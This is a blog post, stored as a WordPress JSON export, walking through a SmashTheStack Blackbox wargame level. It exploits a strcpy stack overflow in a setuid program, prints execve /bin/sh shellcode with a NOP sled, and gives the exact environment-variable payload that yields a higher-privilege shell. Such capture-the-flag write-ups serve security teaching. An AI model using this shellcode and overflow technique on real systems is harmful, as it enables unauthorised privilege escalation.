{"id":78,"date":"2012-07-27T16:10:01","date_gmt":"2012-07-27T23:10:01","guid":{"rendered":"http:\/\/seanmurphree.com\/blog\/?p=78"},"modified":"2012-07-27T16:14:44","modified_gmt":"2012-07-27T23:14:44","slug":"blackbox-level2-simple-overflow","status":"publish","type":"post","link":"https:\/\/seanmurphree.com\/blog\/?p=78","title":{"rendered":"Blackbox Level2 &#8211; Simple Overflow"},"content":{"rendered":"<p>Welcome back to Technolution. \u00a0Today&#8217;s blog will be about the SmashTheStack wargame, Blackbox. \u00a0We will be looking at level 2 of the wargame and as such I will assume you have the correct login credentials. \u00a0Now let&#8217;s begin by ssh&#8217;ing into blackbox as level2.<\/p>\n<p>Upon arrival a quick ls -la shows a SUID level3\/level2 program called getowner as well as what we will assume is it&#8217;s source, getowner.c. \u00a0Let&#8217;s examine getowner.c:<\/p>\n<blockquote><p>level2@blackbox:~$ more getowner.c<br \/>\n#include &lt;stdio.h&gt;<br \/>\n#include &lt;sys\/types.h&gt;<br \/>\n#include &lt;sys\/stat.h&gt;<br \/>\n#include &lt;unistd.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<\/p>\n<p>int main(int argc, char **argv)<br \/>\n{<br \/>\nchar *filename;<br \/>\nchar buf[128];<\/p>\n<p>if((filename = getenv(&#8220;filename&#8221;)) == NULL) {<br \/>\nprintf(&#8220;No filename configured!\\n&#8221;);<br \/>\nreturn 1;<br \/>\n}<\/p>\n<p>while(*filename == &#8216;\/&#8217;)<br \/>\nfilename++;<br \/>\nstrcpy(buf, &#8220;\/tmp\/&#8221;);<br \/>\nstrcpy(&amp;buf[strlen(buf)], filename);<\/p>\n<p>struct stat stbuf;<br \/>\nstat(buf, &amp;stbuf);<br \/>\nprintf(&#8220;The owner of this file is: %d\\n&#8221;, stbuf.st_uid);<\/p>\n<p>return 0;<br \/>\n}<\/p><\/blockquote>\n<p>Before we can exploit a vulnerability we must first find one, and the first step towards finding a vulnerability is to understand what the program is doing. \u00a0Looking at the source we see that there are two variables used in the program, a character pointer called filename and a character array of size 128 called buf. \u00a0After variable declaration the program gets the address of the start of an environmental variable called &#8220;filename&#8221; and assigns it to our char pointer, filename. \u00a0If no environmental variable called filename exists, the program prints &#8220;No filename configured&#8221; and exits. \u00a0At this point, we can see that we may have a way to insert code into the program by controlling the environmental variable &#8220;filename&#8221;, however we need to see what the program does with the string to see how it might be of use. \u00a0After loading the filename variable the\u00a0next step of the program tests the contents of the string pointed to by filename. \u00a0If the string starts with the character &#8220;\/&#8221;, filename is advanced by one. \u00a0This effectively strips any leading &#8220;\/&#8221; characters from the filename string.<\/p>\n<p>Next, we see the use of strcpy. \u00a0As used, strcpy copies the string provided as the 2nd parameter to continuous memory starting at the location provided by the first parameter. \u00a0It will continue to copy memory until a NULL character is reached (hex 0x00). \u00a0Thus we see the memory for our char array buf, get&#8217;s the string &#8220;\/tmp\/&#8221; written to it, then the contents of the memory starting at the location pointed to by filename written starting after the &#8220;\/tmp\/&#8221;.<\/p>\n<p>After strcpy, a structure is assigned for file stats, using the full file name now in buf. \u00a0Finally, printf writes to the screen the owner of the file with location stored in buf (\/tmp\/stringPointedToByfilename), and the program exits.<\/p>\n<p>Now that we understand the program, we can analyze how it might be vulnerable to exploitation. \u00a0Understanding the call stack is important for what we are looking at here today with buffer overflows. \u00a0Hopefully we are familiar with the idea of the call stack, and that when functions are called on a computer, they need memory to be allocated for their variables, and a couple other things. \u00a0This isn&#8217;t a stack tutorial so we won&#8217;t go into general details, but let&#8217;s look at today&#8217;s example. \u00a0In our getowner program, when main is executed, we will see the following layout on the call stack:<\/p>\n<p>[filename][buf][argc\/argv][sfp] \u00a0 [ra]<\/p>\n<p>[CCCC][BB&#8230;BB][DD&#8230;DD][XXXX][ZZZZ]<\/p>\n<p>[4bytes][128bytes][4bytes+9bytes][4bytes][4bytes]<\/p>\n<p>This memory structure, combined with strcpy into buf, means that if we supply a string to strcpy that is longer than buf, strcpy will end up overwriting the memory for argc\/argv, the saved frame pointer, and eventually the return address. \u00a0This is a major security problem in that if the return address is overwritten with a value representing a valid memory location, any code at that location will be executed. \u00a0It&#8217;s also a quality assurance problem in that if the return address doesn&#8217;t have a valid location in it, it will cause a program crash.<\/p>\n<p>Now we know we can and want to overflow buf, so let&#8217;s think backwards. \u00a0How does buf get it&#8217;s data? \u00a0From filename. \u00a0Where does filename get it&#8217;s value? \u00a0From the environmental variable called &#8220;filename&#8221;. \u00a0So let&#8217;s create an environmental variable with the name filename and a value of a string of A&#8217;s using perl and the export command. \u00a0Let&#8217;s also test the getowner program after doing so to make sure it reads the env var:<\/p>\n<blockquote><p>level2@blackbox:~$ export filename=`perl -e &#8216;print &#8220;A&#8221;x160&#8217;`<br \/>\nlevel2@blackbox:~$ .\/getowner<br \/>\nThe owner of this file is: 0<br \/>\nSegmentation fault<\/p><\/blockquote>\n<p>There we go. \u00a0Segmentation fault is indicating we&#8217;re most likely overwritten the return address and the program is trying to execute code at a memory address without valid executable code. \u00a0The next thing we want to do is determine how many A&#8217;s we need to stuff in filename so that we can carefully overwrite the return address. \u00a0We can examine the RA using gdb. \u00a0Let&#8217;s give it a test run:<\/p>\n<blockquote><p>level2@blackbox:~$ gdb getowner<br \/>\nGNU gdb 6.4.90-debian<br \/>\n&#8230;<\/p>\n<p>(gdb) run<br \/>\nStarting program: \/home\/level2\/getowner<br \/>\nThe owner of this file is: 0<\/p>\n<p>Program received signal SIGSEGV, Segmentation fault.<br \/>\n0x41414141 in ?? ()<\/p><\/blockquote>\n<p>The 0x41414141 at the end is our indicator that the return address, and eventually EIP, got overwritten with A&#8217;s (41 is the hex code value for ascii A). \u00a0From here we will do a quick test with the filename string length to determine how many bytes are needed til we overwrite the RA. \u00a0One could also continue using gdb to determine where the RA is and how many bytes are between the buffer and RA, but we&#8217;ll go with the less technical route today for ease of readability (and since this isn&#8217;t a gdb tutorial).<\/p>\n<p>Now that we know 160 A&#8217;s overwrites the return address, let&#8217;s try with 150, and add the 32 bit string &#8220;BBBB&#8221; to the end. \u00a0This is to help determine the correct number of bytes before the return address. \u00a0Let&#8217;s try again:<\/p>\n<blockquote><p>level2@blackbox:~$ export filename=`perl -e &#8216;print &#8220;A&#8221;x150,&#8221;BBBB&#8221;&#8216;`<br \/>\nlevel2@blackbox:~$ gdb getowner<br \/>\nGNU gdb 6.4.90-debian<br \/>\n&#8230;<\/p>\n<p>(gdb) run<br \/>\nStarting program: \/home\/level2\/getowner<br \/>\nThe owner of this file is: 0<\/p>\n<p>Program received signal SIGSEGV, Segmentation fault.<br \/>\n0x00424242 in ?? ()<\/p><\/blockquote>\n<p>Excellent! \u00a0We can see with 154 total bytes, we are one byte short of completely filling up the return address. \u00a0Thus, adding one more A to our string (151 in total) will correctly position the 32 bit string &#8220;BBBB&#8221; to overwrite the return address. \u00a0Now if we replace &#8220;BBBB&#8221; with 4 hex bytes that correspond to an actual memory address, we&#8217;ll be ready to make the program go execute the code <em>we desire<\/em>. \u00a0First however, we must decide on the code we want to execute. \u00a0Then we can place it into memory, and finally, get it&#8217;s memory address.<\/p>\n<p>To write code which will execute, we must write it in low-level op-code. \u00a0Op-code is Operating System and hardware architecture\u00a0dependent. \u00a0We will refer to our op-code today as shellcode since we will be using code which spawns a shell [executes \/bin\/sh with the linux command execve(\/bin\/sh)]. \u00a0Since today&#8217;s article is not about writing shellcode we will simply use the following 42 byte shellcode which we obtained online from <a title=\"Packet Storm\" href=\"http:\/\/packetstormsecurity.org\/\" target=\"_blank\">Packet Storm<\/a>:<\/p>\n<blockquote><p>&#8220;\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31\\xdb\\x89\\xd8&#8221;<br \/>\n&#8220;\\xb0\\x2e\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68&#8221;<br \/>\n&#8220;\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31&#8221;<br \/>\n&#8220;\\xd2\\xb0\\x0b\\xcd\\x80&#8221;<\/p><\/blockquote>\n<p>The easiest way to place the above code into memory would be to place it in an environmental variable. \u00a0While we could use the filename environmental variable, we can also make a new one. \u00a0So to keep things simple, let&#8217;s assign our shellcode to the environmental variable SHELLCODE:<\/p>\n<blockquote><p>level2@blackbox:~$ export SHELLCODE=$&#8217;\\x90\\x90\\x90\\x90\\x90\\x90\\x90<br \/>\n\\x90\\x90\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31<br \/>\n\\xdb\\x89\\xd8\\xb0\\x2e\\xcd\\x80\\x31\\xc0\\x50\\x68<br \/>\n\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3<br \/>\n\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80&#8242;<\/p><\/blockquote>\n<p>One thing to note about the above shellcode is that we added the hex value \\x90 to the beginning a few times. \u00a0\\x90 is the op-code instruction for No-Operation (or NOP). \u00a0No-op&#8217;s don&#8217;t perform any operation during the CPU cycle and simply forward to the next instruction. \u00a0This no-op padding is used so if our program switches execution to the memory location of <em>any<\/em> if the NOPs, we will be fast forwarded to our shellcode.<\/p>\n<p>Now that our shellcode is loaded into memory, we need to find out <em>where<\/em> it memory it resides. \u00a0To do this we will use a quick C program that takes as input one string, the name of an environmental variable. \u00a0The program then returns the address in memory where the environmental variable is stored. \u00a0Let&#8217;s look at the program:<\/p>\n<blockquote><p>#include &lt;stdio.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<\/p>\n<p>int main(int argc, char *argv[])<br \/>\n{<br \/>\nif(!argv[1])<br \/>\nexit(1);<br \/>\nprintf(&#8220;%#x\\n&#8221;, getenv(argv[1]));<br \/>\nreturn 0;<br \/>\n}<\/p><\/blockquote>\n<p>Now let&#8217;s compile our program and use it to find the memory location of the environmental variable SHELLCODE:<\/p>\n<blockquote><p>level2@blackbox:\/tmp\/.somedir$ gcc getmem.c -o getmem<br \/>\nlevel2@blackbox:\/tmp\/.somedir$ .\/getmem SHELLCODE<br \/>\n0xbfffdb78<\/p><\/blockquote>\n<p>Alright! \u00a0Now we know our shellcode begins at memory location 0xbfffdb78. \u00a0Next we should replace our &#8220;BBBB&#8221; string from filename from the environmental variable with a memory value in the middle of our NOP-sled, and our exploit should be complete! \u00a0One last thing to remember is that we need to write the memory address in little-endian format, which means reverse byte format. \u00a0Let&#8217;s rewrite out filename environmental variable:<\/p>\n<blockquote><p>level2@blackbox:\/tmp\/.somedir$ export filename=`perl -e &#8216;print &#8220;A&#8221;x151,&#8221;\\x7f\\xdb\\xff\\xbf&#8221;&#8216;`<\/p><\/blockquote>\n<p>Now let&#8217;s see what happens when we run the vulnerable getowner program:<\/p>\n<blockquote><p>level2@blackbox:~$ .\/getowner<br \/>\nThe owner of this file is: 0<br \/>\nsh-3.1$ whoami<br \/>\nlevel3<\/p><\/blockquote>\n<p>There we have it, shell as level3. \u00a0Don&#8217;t forget to check out \/home\/level3\/password for the level3 password. \u00a0Level2 has been an intro to buffer overflows. \u00a0While buffer overflow attacks have been common for a long time, compilers and operating systems are working on ways to combat them. \u00a0However, most of the protective measures can also be circumvented by a crafty attacker. \u00a0Due to the nature of buffer overflows, this type of vulnerability is expected to stay around for a long time.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Welcome back to Technolution. \u00a0Today&#8217;s blog will be about the SmashTheStack wargame, Blackbox. \u00a0We will be looking at level 2 of the wargame and as such I will assume you have the correct login credentials. \u00a0Now let&#8217;s begin by ssh&#8217;ing &hellip; <a href=\"https:\/\/seanmurphree.com\/blog\/?p=78\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[7,6,4],"tags":[48,27,9,47],"_links":{"self":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/78"}],"collection":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=78"}],"version-history":[{"count":10,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/78\/revisions"}],"predecessor-version":[{"id":87,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/78\/revisions\/87"}],"wp:attachment":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=78"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=78"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=78"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}